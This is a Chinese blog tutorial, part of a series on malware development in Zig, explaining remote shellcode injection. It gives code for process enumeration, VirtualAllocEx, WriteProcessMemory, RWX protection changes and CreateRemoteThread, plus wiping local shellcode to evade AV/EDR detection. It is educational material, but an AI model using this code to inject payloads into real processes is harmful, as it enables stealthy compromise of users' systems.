iT邦幫忙

2025 iThome 鐵人賽

DAY 17
1
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 17

Day17 - 影子寄生術,操弄世界的魁儡:Process Injection 之 Shellcode Injection

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

Ayo 各位早安。昨天已經介紹了 Process Injection 中的 DLL Injection 了,今天會來介紹另一個 Process Injection 的技術:Shellcode Injection。

那就開始囉!

完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/Shellcode-Injection/shellcode_injection/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

進程枚舉

在我們昨天的內容當中,有提及過如果要執行 Process injection,勢必需要先枚舉當前運行中的進程。不過今天會實作的方式和昨天是一樣的(之後幾天會來講一些其他的進程枚舉方式),故在此先跳過詳細解釋,我們就直接複習一下程式碼。

fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = PROCESSENTRY32W{
        .dwSize = @sizeOf(PROCESSENTRY32W),
        .cntUsage = 0,
        .th32ProcessID = 0,
        .th32DefaultHeapID = 0,
        .th32ModuleID = 0,
        .cntThreads = 0,
        .th32ParentProcessID = 0,
        .pcPriClassBase = 0,
        .dwFlags = 0,
        .szExeFile = std.mem.zeroes([260]u16),
    };

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
            print("[+] DONE \n", .{});
            print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});

            const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse {
                print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()});
                return error.OpenProcessFailed;
            };

            return .{ .pid = process_entry.th32ProcessID, .handle = handle };
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

一開始,我們需要先使用 CreateToolhelp32Snapshot 去建立當前所有進程的快照。接著會初始化一個 PROCESSENTRY32W 結構,用來存放每個進程的資訊,包括 PID、Parent process(不喜歡講父進程)等等。下一步,我們要去取得第一個進程的句柄,會使用 Process32FirstW,然後比較它是否是我們需要的目標進程,如果不是,則使用 Process32NextW 去找到下一個進程;如果是,則回傳它的 PID 和句柄。

Shellcode Injection

分配並寫入記憶體

我們一開始一樣是要使用 VirtualAllocEx 來在遠端分配記憶體,分配的大小我們會使用 shellcode.len 來取得它的大小。若成功分配,則會回傳遠端分配的記憶體的基址。

下一步,要寫入記憶體。我們會使用 WriteProcessMemory 來寫入 Shellcode 到遠端的記憶體。我們昨天示範了 Zig 包裝過後的 std.os.windows.WriteProcessMemory,今天來示範一下原生的 WriteProcessMemory 好了。使用的方式就是用之前講過的 extern 關鍵字。

extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL;

原生的函數需要傳入五個參數,比昨天的多出一個要寫入的長度和一個 Out 參數來回傳實際寫入的長度。

    const write_result = WriteProcessMemory(
        process_handle,
        shellcode_address,
        shellcode.ptr,
        shellcode.len,
        &bytes_written,
    );

寫完之後,我們會把本地記憶體中的 Shellcode 給清除掉,以減少被 AV/EDR 偵測到的機率。

zig@memset(@constCast(shellcode.ptr)[0..shellcode.len], 0);

完成後,我們為了要執行遠端的記憶體中的 Shellcode,我們需要把記憶體的保護改成可執行的,我們會使用 VirtualProtectEx 來做到這件事。

    if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
        print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualProtectExFailed;
    }

最後,就可以使用 CreateRemoteThread 來在遠端建立進程並執行 Shellcode 了。然後由於第 4 個參數在微軟的定義中是要傳入一個函數指標,所以我們要使用 @ptrCast 把 Shellcode 的地址轉爲一個指標的型別。

    const thread_handle = CreateRemoteThread(
        process_handle,
        null,
        0,
        @ptrCast(shellcode_address),
        null,
        0,
        null,
    ) orelse {
        print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()});
        return error.CreateRemoteThreadFailed;
    };

對了,最後還是記得要使用 WaitForSingleObject 來等待遠端進程的 Shellcode 執行完畢。

    windows.WaitForSingleObject(thread_handle, windows.INFINITE) catch {
        print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
    };

釋放遠端的記憶體

因為我們把記憶體寫在遠端進程的記憶體中,所以執行完要盡早把它釋放掉。我們會使用到 VirtualFreeEx 這個 Windows API。注意的是我們應該要等到 Payload 執行完之後才可以呼叫它,不然如果 Shellcode 執行到一半記憶體被釋放可能會導致 Crash。我們來看一下微軟的這個 API 定義

BOOL VirtualFreeEx(
  [in] HANDLE hProcess,
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

VirtualFreeEx 和我們之前介紹過的 VirtualFree 很類似,唯一的差別在 VirtualFreeEx 需要一個額外的參數來接收遠端進程的句柄。

    if (VirtualFreeEx(process_handle, shellcode_address, 0, MEM_RELEASE) == 0) {
        print("[!] VirtualFreeEx Failed With Error : {d}\n", .{GetLastError()});
    } else {
        print("[i] Remote memory freed.\n", .{});
    }

執行結果

在這邊範例中,我們會把 Shellcode 注入到 notepad.exe 之中,所以我們先把 x64dbg 給附加到 Notepad 的進程之中。接著我們執行我們的程式,並提供 notepad.exe 作為參數,我們可以透過 PID 來確認。

Same PID

執行下一步後,程式會把 Shellcode 給解密或解混淆出來,並來分配記憶體。要注意的是,我們的解密和解混淆是在本地的進程中執行的,所以在 x64dbg 中不能存取他,因為我們現在 Attach 的是遠端進程。不過我們分配的記憶體是在遠端,所以可以來看一下裡面的樣子。

Allocated Memory

下一步,我們會把記憶體寫入在已經分配的遠端進程中。

Written Memory

最後,我們來執行它。

Execution

值得注意的是,執行完後我們會把記憶體給 Free 掉。

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好啦!今天就到這邊。天啊最近超級爆炸忙的,事情有夠多,跟自己說一下加油 XD。

明天應該會來講一些其他的進程枚舉的方式,但還在想要用什麼很炫酷的標題(我的標題都要想超級久笑死)。

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day16 - 影子寄生術,操弄世界的魁儡:Process Injection 之 DLL Injection
下一篇
Day18 - 幽影巡查,黑暗中的死亡筆記本:Windows 進程枚舉術(上)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!20
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言